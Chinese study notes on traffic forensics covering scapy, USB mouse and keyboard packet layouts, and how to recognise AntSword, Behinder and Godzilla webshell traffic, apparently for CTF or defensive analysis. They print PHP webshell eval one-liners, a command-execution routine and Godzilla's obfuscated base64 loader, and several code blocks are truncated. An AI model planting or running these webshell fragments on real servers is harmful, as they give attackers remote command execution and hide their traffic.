有关流量分析的学习笔记
TCP/IP
是因特网上的标准协议集,它不是针对某一个协议。
学过计网的都知道TCP/IP
会分为如下几层:
1 | 应用层 |
其中网络接口层一般又分为数据链路层和应用层
怎么和我计网学的不一样呢,考完就忘了
计网里说过,这几层都是自上而下层层封装的。每一层数据都会被包装为PDU
scapy
scapy就是以PDU的概念制作和分析报文的,仅需简单做个示例:
1 | from scapy.layers.l2 import * |
回显为
1 | <Ether type=IPv4 |<IP frag=0 proto=tcp |<TCP |<Raw load='GET / HTTP/1.1\r\n' |>>>> |
usb流量
计算机与usb设备进行通信,同样也会产生流量。
鼠标流量
利用wireshark捕捉鼠标流量只需要用wireshark自带的工具usbpcap进行。
鼠标移动的轨迹、左键、邮件的行为都能够捕捉得到
鼠标设备的数据最少需要3字节,常规的有较短的4字节和正常的8字节。其中4字节:
- 第一字节是按键掩码(左中右)
- 第二字节是x轴偏移量(补码)
- 第三字节是y轴偏移量(补码)
- 第四字节是滚轮偏移量
8字节的:
- 第一字节是按键掩码
- 第三第四字节是x轴偏移量
- 第五第六字节是y轴偏移量
- 第七字节是垂直滚轮偏移量
- 第八字节是水平滚轮偏移量
键盘流量
确定为键盘流量之后也是可以利用tshark直接导出键盘数据,然后利用脚本分析。
键盘流量只记录按下的按键,释放按键不做记录。
理论上键盘仅需三字节即可记录下来:
- 第一字节是
修饰键
- 第二字节是
保留字节
- 第三字节是
映射键
但是正常情况下长度为8字节,其后六个字节都用做映射键的记录。
webshell流量
蚁剑
蚁剑的流量分析基本上很常见了。我自己就写过一个博客来看过,这里简要重新复述一下:
1 | @ini_set("display_errors", "0"); |
蚁剑最明显的特征:
1 | @ini_set("display_errors", "0"); |
并且代码和指令是一块发送的:
1 | $p=base64_decode(substr($_POST["qf039f1d9cd528"],2)); |
使用wireshark可以看到传参的值,这里由于是substr(x,2)的关系,所以我们要从第三个字符开始进行base64解密。解密结果如下:
1 | bin/sh |
蚁剑的base64
采用base64方式加密shell会发现:
1 | Value: @eval(@base64_decode($_POST['c540d73cacbdc8'])); |
用它来解密就能够得到和先前一样的结果
chr、rot13
大同小异
rsa
毫无规律
冰蝎
1 |
|
马长这样。自己的冰蝎打不开了,所以大致讲一下流程:
冰蝎在连接到服务端的时候会发两个包。第一个包用于确认连接,第二个包用于获取信息。
冰蝎的输入都经过了aes128加密,一般情况下可以通过木马来获取到用于aes128解密的key。
解密后会有一段数据:
1 | assert|eval(base64_decode('data')) |
将data进行b64解密后:
1 | @error_reporting(0); // 关闭错误报告,不显示任何错误信息 |
可以看到又有一个base64编码的字符串。content经过decode后发送到了main函数,main函数又重新编码加密后发送。
用于获取信息的第二包:
1 | error_reporting(0); |
它回返回一个服务器信息的数组:
1 | [ |
rce
1 | @error_reporting(0); // 禁用错误报告,可能是为了隐藏潜在的错误信息。 |
rce的包长这样。
它会返回一段json,大致长这样:
1 | {"status":"xxx", "msg":"yyy"} |
msg的内容解密后就是命令执行获取到的结果
细看操作可以得到以下结论:
- 将payload传入main函数当中
- 然后判断
system
、passthru
等 - 函数是否可以使用,并尝试执行。如果不可行回返回fail编码后的结果
- 如果可行会将结果传入
$kWJW
变量然后进行安全化处理、编码输出。 - 然后aes编码退出。
目录读取
还是json套娃。
1 | {"status":"xxx","msg":"yyy"} |
对yyy解密后会变为:
1 | [ |
脚本解码后就能够得到想要的结果
读文件
两次b64解密
下载文件
json结构倒过来
ua特征
所有的ua:
user-Angent |
---|
Mozilla/ 5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/ 537.36 (KHTML, like Gecko) Chrome/ 89.0.4389.114 Safari/ 537.36 |
Mozilla/ 5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/ 20100101 Firefox/ 87.0 |
Mozilla/ 5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/ 537.36 (KHTML, like Gecko) Chrome/ 96.0.4664.110 Safari/ 537.36 |
Mozilla/ 5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/ 537.36 (KHTML, like Gecko) Chrome/ 99.0.4844.74 Safari/ 537.36 Edg/ 99.0.1150.55 |
Mozilla/ 5.0 (Windows NT 10.0; WOW64) AppleWebKit/ 537.36 (KHTML, like Gecko) Chrome/ 96.0.4664.110 Safari/ 537.36 |
Mozilla/ 5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/ 20100101 Firefox/ 98.0 |
Mozilla/ 5.0 (Windows NT 10.0) AppleWebKit/ 537.36 (KHTML, like Gecko) Chrome/ 84.0.4147.125 Safari/ 537.36 |
Mozilla/ 5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/ 537.36 (KHTML, like Gecko) Chrome/ 84.0.4147.125 Safari/ 537.36 |
Mozilla/ 5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/ 20100101 Firefox/ 79.0 |
Mozilla/ 5.0 (Windows NT 6.3; Trident/ 7.0; rv:11.0) like Gecko |
都是相对较老的ua头
哥斯拉
测试连接的时候会发三个包
查看后会发现它利用参数
发送了下面这条内容:
1 | eval(base64_decode(strrev(urldecode('K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBnc0NHKgYWagACIgACIgAiCNsXZzxWZ9BCIgAiCNsTK2EDLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKpkXZrRCLpEGdhRGJo4WdyBEKlR2bj5WZoUGZvNmbl9FN2U2chJGIvh2YlBCIgACIgACIK0wOpYTMsADLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKkF2bslXYwRCKsFmdllQCK0QfgACIgACIgAiCNsTK5V2akwCZh9Gb5FGckgSZk92YuVWPkF2bslXYwRCIgACIgACIgACIgAiCNsXKlNHbhZWP90TKi8mZul0cjl2chJEdldmIsQWYvxWehBHJoM3bwJHdzhCImlGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7cSY0IjM1EzY5EGOiBTZ2M2Mn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7cSelt2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD')))); |
解密后
1 |
|
其实第一个特征已经出来了,不难看出在PHP_EVAL_XOR_BASE64这个加密器的情况下,哥斯拉会将他的完整shell通过密码参数传入服务器,且每个包都会
第一包
哥斯拉的第一个包:
wllm是我们上面传入的马,key解密后会发现它其实是payload,详见哥斯拉流量分析 - 先知社区 (aliyun.com)
第二包
将信息传入payload的run函数
run
传递的参数中会有一定的序列化(格式化),可以参考formatParameter
函数,不影响解析。
在注入 Session 后的一个流量,会调用 test
函数,即参数
1 | b'methodName\x02\x04\x00\x00\x00test' |
返回值会前后携带固定的 md5 值的前后 16 个字符,与加密逻辑一致。
不过需要注意的是,有时 Godzilla 会使用 gzip 进行压缩以减小数据传输量。
其余行为与冰蝎是类似的
第三包
getBasicsInfo函数返回信息